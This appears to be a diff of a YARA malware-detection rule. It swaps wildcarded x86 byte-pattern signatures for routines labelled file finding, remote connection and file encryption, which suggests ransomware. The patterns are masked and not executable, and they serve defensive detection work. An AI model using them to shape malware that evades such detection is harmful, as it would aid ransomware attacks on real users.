-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83
-            C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 6A ??
-            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF D3 8B 3D ?? ?? ?? ?? 6A ?? 56 FF D7 8D 45 ?? 50
-            8D 45 ?? 50 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 89 85 ?? ?? ??
-            ?? FF D3 8B 9D ?? ?? ?? ?? 6A ?? 53 FF D7 68 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 83 C4
-            ?? 8B F0 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 89 85 ?? ?? ?? ?? 39 7D ?? 76 ?? 68 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 6A ?? 51 50
-            56 FF B5 ?? ?? ?? ?? 03 F8 FF 15 ?? ?? ?? ?? 39 7D ?? 77 ?? 8B 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 53 FF D6 FF B5 ??
-            ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5
-            5D C3
+		$find_files = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
+            ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 8B F1 6A ?? 50 89 74 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 66 89 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ??
+            0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ??
+            ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 8D
+            8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 FF D6 B8 ?? ??
+            ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 56 81 EC ?? ??
+            ?? ?? B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ??
+            ?? 8D 54 24 ?? 52 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 50 81 EC ?? ?? ?? ??
+            B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 8D
+            4C 24 ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ??
+            ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$search_processes = {
-            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 51 50
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 0F 1F
-            44 00 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 8B 4C B5 ??
-            8D 85 ?? ?? ?? ?? 0F 1F 44 00 ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75
-            ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ??
-            ?? ?? 50 68 ?? ?? ?? ?? FF D7 6A ?? 50 FF D3 46 83 FE ?? 76 ?? 8D 85 ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B
-            E8 ?? ?? ?? ?? 8B E5 5D C3
+		$remote_connection_p1 = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 33 C0 57
+            68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 75 ??
+            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 C0 68 ??
+            ?? ?? ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ??
+            ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 33 C0 89 85
         }
-		$encrypt_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ??
-            ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 4D
-            ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 83 CB ?? 89
-            5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 F6 89 75 ?? 89 75 ?? 56 68 ?? ??
-            ?? ?? 6A ?? 56 6A ?? 6A ?? 51 8B 3D ?? ?? ?? ?? FF D7 89 45 ?? 3B C3 0F 84 ?? ?? ??
-            ?? 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? FF 75 ?? FF D7 8B D8 89 5D ?? 83 FB ?? 0F
-            84 ?? ?? ?? ?? 8B 7D ?? 8B 07 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 56 56 68 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF
-            75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ??
-            FF 75 ?? 68 ?? ?? ?? ?? FF 37 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 32 C0 89 45 ?? 88
-            45 ?? 33 FF 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 FF 75
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 0F B6 C0 81 7D ?? ?? ?? ?? ??
-            B9 ?? ?? ?? ?? 0F 42 C1 89 45 ?? 88 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 51 56 6A ?? 0F B6
-            C0 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 85 FF 75 ?? 57 8D 45 ?? 50 68 ??
-            ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 47 89 7D ?? 8B 45 ?? 84 C0 0F 84 ?? ?? ?? ?? 80 7D ?? ??
-            74 ?? 83 05 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 ??
-            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+		$remote_connection_p2 = {
+            89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ??
+            ?? 66 89 95 ?? ?? ?? ?? 8B 48 ?? 8B 11 8B 02 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D
+            95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF
+            15 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF 8A 08 40 84 C9 75 ?? 6A
+            ?? 2B C2 50 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ??
+            ?? ?? ?? 52 56 FF D3 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 50
+            8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF
+            D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7
+            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7 68 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB
+            ?? 68 ?? ?? ?? ?? FF D7 56 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ??
+            8B E5 5D C3 68
         }
-		$search_files_in_specific_folders_p1 = {
-            51 8D 85 ?? ?? ?? ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 8B F0 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
-            83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 FF
+		$encrypt_files_p1 = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
+            ?? ?? 53 56 8B 75 ?? 57 68 ?? ?? ?? ?? 33 DB 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89
+            84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 53 52 89 5C 24
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 44 24 ?? 53 50 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 33 C0 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 5C 24 ?? 89 44 24 ?? 89 44 24
+            ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 53 52 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 50 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 4D ?? 8B C1 83 C4 ?? 48 74 ?? 48 74 ?? 8B 45 ?? 8B 55 ?? 50 52 51 56 FF
+            15 ?? ?? ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
         }
-		$search_files_in_specific_folders_p2 = {
-            75 ?? FF 75 ?? 8D 55 ?? 8B CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85
-            F6 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 FF ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 8B
-            CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41
-            84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D
-            4D ?? E8 ?? ?? ?? ?? 6A ?? 40 8D 4D ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0
-            8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            EC ?? C6 45 ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83
-            EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50
-            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 84
-            C0 8D 8D ?? ?? ?? ?? 0F 94 C3 EB ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8A D8
+		$encrypt_files_p2 = {
+            53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5
+            5D C2 ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ?? ?? ?? ?? 40
+            88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D
+            ?? ?? ?? ?? 40 88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 49 ?? 0F B6 83 ?? ?? ?? ?? 6A
+            ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94
+            24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8B C8
+            8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B
+            C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4 8B C8 8A 10 40 84 D2 75
+            ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8
         }
-		$search_files_in_specific_folders_p3 = {
-            8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 DB 8B 9D ?? ?? ?? ?? 74 ?? 8D 45 ??
-            8B CB 50 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
-            ?? 33 F6 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ??
-            E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ??
-            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ??
-            ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C7 45
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ??
-            ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_p3 = {
+            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4 E8 ?? ?? ?? ?? 83 C4 ??
+            68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 43 83 C4 ?? 83 FB ?? 0F
+            8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 DB EB ?? 8D A4 24 ?? ?? ?? ?? EB ?? 8D 49 ??
+            0F B6 83 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C
+            24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? 83 C4 ?? 8B C8 8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A
+            4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4
+            8B C8 8A 10 40 84 D2 75 ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B
+        }
